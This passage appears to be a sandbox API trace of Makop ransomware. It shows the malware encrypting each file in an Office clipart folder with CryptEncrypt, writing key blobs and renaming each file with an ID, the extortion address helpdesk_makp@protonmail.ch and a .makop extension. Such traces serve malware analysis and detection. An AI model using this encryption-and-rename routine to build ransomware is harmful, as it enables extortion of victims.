pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.887] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.887] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.887] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.887] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.887] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.888] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.888] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.888] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.888] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.888] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.888] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x34e2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x34e2, lpOverlapped=0x0) returned 1 [0114.890] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x34f0, dwBufLen=0x34f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x34f0) returned 1 [0114.890] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.890] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x34f0, lpOverlapped=0x0) returned 1 [0114.891] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.891] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x35c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.891] SetEndOfFile (hFile=0xf0) returned 1 [0114.898] GetProcessHeap () returned 0x48a0000 [0114.898] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.898] GetProcessHeap () returned 0x48a0000 [0114.898] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.898] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.898] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.899] CloseHandle (hObject=0xf0) returned 1 [0114.900] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c3e500, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2c3e500, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x16a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00527_.WMF", cAlternateFileName="")) returned 1 [0114.900] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0114.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.902] GetProcessHeap () returned 0x48a0000 [0114.902] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.902] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.902] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.902] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0114.907] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.907] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.907] GetProcessHeap () returned 0x48a0000 [0114.907] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.907] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.907] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.908] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.908] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.908] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.908] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.908] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.908] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.909] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.909] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.909] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16a6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x16a6, lpOverlapped=0x0) returned 1 [0114.910] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16b0, dwBufLen=0x16b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16b0) returned 1 [0114.911] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.911] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x16b0, lpOverlapped=0x0) returned 1 [0114.911] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.911] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.911] SetEndOfFile (hFile=0xf0) returned 1 [0114.917] GetProcessHeap () returned 0x48a0000 [0114.918] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.918] GetProcessHeap () returned 0x48a0000 [0114.918] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.918] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.918] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.919] CloseHandle (hObject=0xf0) returned 1 [0114.919] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c49d600, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c49d600, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00546_.WMF", cAlternateFileName="")) returned 1 [0114.919] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0114.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.920] GetProcessHeap () returned 0x48a0000 [0114.920] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.920] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.920] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.920] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0114.925] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.925] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.925] GetProcessHeap () returned 0x48a0000 [0114.925] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.925] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.925] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.925] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.925] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.926] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.926] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.926] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.926] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.926] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.926] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.927] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.927] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe86, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe86, lpOverlapped=0x0) returned 1 [0114.927] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe90, dwBufLen=0xe90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe90) returned 1 [0114.927] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.927] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe90, lpOverlapped=0x0) returned 1 [0114.927] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.927] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.927] SetEndOfFile (hFile=0xf0) returned 1 [0114.934] GetProcessHeap () returned 0x48a0000 [0114.934] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.934] GetProcessHeap () returned 0x48a0000 [0114.934] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.934] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.934] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.935] CloseHandle (hObject=0xf0) returned 1 [0114.935] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48e63d00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48e63d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00601_.WMF", cAlternateFileName="")) returned 1 [0114.935] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0114.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.936] GetProcessHeap () returned 0x48a0000 [0114.936] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.936] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.936] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.936] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.941] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.941] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.941] GetProcessHeap () returned 0x48a0000 [0114.941] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.942] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.942] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.942] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.942] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.942] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.942] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.942] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.943] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.943] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.943] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.943] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5bc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5bc, lpOverlapped=0x0) returned 1 [0114.943] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c0) returned 1 [0114.943] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.943] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5c0, lpOverlapped=0x0) returned 1 [0114.943] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.943] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.943] SetEndOfFile (hFile=0xf0) returned 1 [0114.950] GetProcessHeap () returned 0x48a0000 [0114.950] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.950] GetProcessHeap () returned 0x48a0000 [0114.950] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.950] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.950] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.951] CloseHandle (hObject=0xf0) returned 1 [0114.951] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eb62b00, ftCreationTime.dwHighDateTime=0x1bd4b47, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb62b00, ftLastWriteTime.dwHighDateTime=0x1bd4b47, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00602_.WMF", cAlternateFileName="")) returned 1 [0114.952] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0114.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.952] GetProcessHeap () returned 0x48a0000 [0114.953] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.953] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.953] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.953] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, 